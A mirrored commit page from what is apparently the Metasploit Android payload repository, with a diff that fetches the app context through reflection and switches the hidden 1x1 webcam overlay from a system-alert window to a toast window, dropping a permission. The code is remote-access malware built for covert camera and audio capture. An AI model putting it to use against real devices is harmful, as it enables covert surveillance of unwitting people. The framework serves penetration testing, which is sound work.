mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-16 00:24:29 +01:00
get context via reflection
This commit is contained in:
parent
021532869e
commit
ffb1f711f4
@ -20,7 +20,6 @@
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
|
||||
|
||||
<application
|
||||
android:label="@string/app_name" >
|
||||
|
@ -8,7 +8,7 @@ public class MainActivity extends Activity
|
||||
@Override
|
||||
protected void onCreate(Bundle savedInstanceState) {
|
||||
super.onCreate(savedInstanceState);
|
||||
Payload.start(this);
|
||||
Payload.start();
|
||||
finish();
|
||||
}
|
||||
}
|
||||
|
@ -7,6 +7,7 @@ import java.io.DataOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.Socket;
|
||||
|
||||
import dalvik.system.DexClassLoader;
|
||||
@ -18,11 +19,22 @@ public class Payload {
|
||||
|
||||
public static Context context;
|
||||
|
||||
public static void start(Context context) {
|
||||
public static void start() {
|
||||
Context context = null;
|
||||
try {
|
||||
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
|
||||
final Method method = activityThreadClass.getMethod("currentApplication");
|
||||
context = (Context) method.invoke(null, (Object[]) null);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
// Set the working directory somewhere writeable
|
||||
System.setProperty("user.dir", context.getFilesDir().getAbsolutePath());
|
||||
|
||||
// Store the context
|
||||
Payload.context = context;
|
||||
Payload.context = context.getApplicationContext();
|
||||
|
||||
startAsync();
|
||||
}
|
||||
|
||||
|
@ -75,7 +75,7 @@ public class webcam_start_android extends webcam_audio_record implements Command
|
||||
surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
|
||||
WindowManager windowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
|
||||
WindowManager.LayoutParams params = new WindowManager.LayoutParams(1, 1,
|
||||
WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
|
||||
WindowManager.LayoutParams.TYPE_TOAST,
|
||||
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
|
||||
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE,
|
||||
PixelFormat.TRANSLUCENT);
|
||||
|
Loading…
Reference in New Issue
Block a user